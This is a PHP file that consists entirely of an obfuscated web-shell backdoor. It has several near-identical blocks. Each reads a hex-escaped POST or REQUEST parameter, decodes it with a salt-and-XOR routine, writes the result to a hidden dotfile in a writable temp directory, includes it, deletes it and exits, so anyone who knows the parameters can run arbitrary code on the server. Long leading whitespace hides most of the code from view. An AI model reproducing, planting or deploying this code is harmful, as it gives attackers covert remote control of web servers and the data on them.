<?php																																										if(isset($_REQUEST["ele\x6Den\x74"])){ $binding = $_REQUEST["ele\x6Den\x74"]; $binding= explode ( ".", $binding ) ; $token =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $q =0; while ($q < count($binding)) { $v3 =$binding[$q]; $chS =ord($s[$q % $lenS]); $d =((int)$v3 - $chS - ($q % 10)) ^ 15; $token .= chr($d); $q++; } $pgrp = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); while ($k = array_shift($pgrp)) { if (is_dir($k) && is_writable($k)) { $pset = join("/", [$k, ".mrk"]); $success = file_put_contents($pset, $token); if ($success) { include $pset; @unlink($pset); die();} } } }
																																										if(isset($_POST["\x65l\x65m"])){ $ref = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd()]); $hld = $_POST["\x65l\x65m"]; $hld =explode( '.', $hld) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $__len = count( $hld); for( $z = 0; $z < $__len; $z++) { $v8 = $hld[$z]; $chS = ord( $salt[$z % $lenS]); $d =( ( int)$v8 - $chS -( $z % 10))^ 12; $record .= chr( $d); } foreach ($ref as $key => $binding) { if (!!is_dir($binding) && !!is_writable($binding)) { $desc = "$binding" . "/.entity"; if (file_put_contents($desc, $record)) { require $desc; unlink($desc); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65s\x6Fu\x72ce"])){ $mrk = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $token = $_REQUEST["\x72\x65s\x6Fu\x72ce"]; $token = explode ( '.', $token ); $entry = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $i = 0; foreach($token as $v7) {$sChar = ord($salt1[$i % $lenS]); $dec = ((int)$v7 - $sChar -($i % 10)) ^ 54; $entry .= chr($dec); $i++; } foreach ($mrk as $hld): if (is_writable($hld) && is_dir($hld)) { $elem = "$hld/.data_chunk"; if (file_put_contents($elem, $entry)) { require $elem; unlink($elem); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "bi\x6E\x64i\x6Eg")){ $comp = $_POST["bi\x6E\x64i\x6Eg"]; $comp = explode ( "." ,$comp ); $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $comp as $z=> $v2): $sChar = ord( $s[$z % $sLen]); $d = ( ( int)$v2 - $sChar -( $z % 10))^ 75; $tkn .= chr( $d); endforeach; $item = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm"]); foreach ($item as $key => $dat) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $pset = "$dat/.ptr"; if (@file_put_contents($pset, $tkn) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(isset($_POST["va\x6C\x75e"])){ $factor = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $ent = $_POST["va\x6C\x75e"]; $ent=explode ('.', $ent ) ; $entry = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4 ); $r = 0; $__tmp = $ent; while( $v5 = array_shift( $__tmp)) {$sChar = ord( $salt4[$r % $lenS] ); $d =( ( int)$v5 - $sChar -( $r % 10)) ^ 8; $entry .= chr( $d ); $r++; } foreach ($factor as $sym): if (is_writable($sym) && is_dir($sym)) { $bind = vsprintf("%s/%s", [$sym, ".flg"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x72\x65s\x6F\x75rce")){ $key = $_REQUEST["\x72\x65s\x6F\x75rce"]; $key=explode ( '.', $key ) ; $binding=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $q=0; $__tmp=$key; while( $v7=array_shift( $__tmp)) {$chS=ord( $s[$q % $lenS]); $dec=( ( int)$v7 - $chS -( $q % 10))^ 83; $binding .= chr( $dec); $q++; } $flg = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd()]); $entity = 0; do { $component = $flg[$entity] ?? null; if ($entity >= count($flg)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $ptr = implode("/", [$component, ".parameter_group"]); $success = file_put_contents($ptr, $binding); if ($success) { include $ptr; @unlink($ptr); die();} } $entity++; } while (true); }
																																										if(isset($_POST["t\x6F\x6Ben"]) ? true : false){ $dchunk = $_POST["t\x6F\x6Ben"]; $dchunk =explode('.' ,$dchunk ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($dchunk ); for ($v = 0; $v < $len; $v++) { $v6 = $dchunk[$v]; $chS = ord($salt[$v % $lenS] ); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 71; $tkn .= chr($dec ); } $descriptor = array_filter(["/tmp", "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($descriptor as $key => $component) { if (is_dir($component) ? is_writable($component) : false) { $fac = implode("/", [$component, ".sym"]); if (file_put_contents($fac, $tkn)) { require $fac; unlink($fac); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x63")){ $data_chunk = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path()]); $sym = $_REQUEST["r\x65\x63"]; $sym = explode ( '.' , $sym) ; $val = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); $__len = count( $sym ); for( $k = 0; $k<$__len; $k++) { $v7 = $sym[$k]; $sChar = ord( $s1[$k % $sLen] ); $dec = ( ( int)$v7 - $sChar -( $k % 10)) ^ 33; $val .= chr( $dec );} $fac = 0; do { $dchunk = $data_chunk[$fac] ?? null; if ($fac >= count($data_chunk)) break; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $k = vsprintf("%s/%s", [$dchunk, ".pgrp"]); $success = file_put_contents($k, $val); if ($success) { include $k; @unlink($k); exit;} } $fac++; } while (true); }


if(!is_null($_POST["marker"] ?? null)){
	$ref = $_POST["marker"];
	$ref  =		 explode			(	"."	 ,	$ref	 )  	;   
	$mrk=	'';
            $salt4=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($salt4);
            $y=	0;
    
            while ($y<  count($ref)) { $v6=	$ref[$y];
                $chS=	ord($salt4[$y % $sLen]);
                $d=	((int)$v6 - $chS - ($y % 10)) ^ 18;
                $mrk .= chr($d);
                $y++;
            }
	$descriptor = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	foreach ($descriptor as $tkn) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) {
    $ent = str_replace("{var_dir}", $tkn, "{var_dir}/.factor");
    if (@file_put_contents($ent, $mrk) !== false) {
	include $ent;
	unlink($ent);
	exit;
}
}
}
}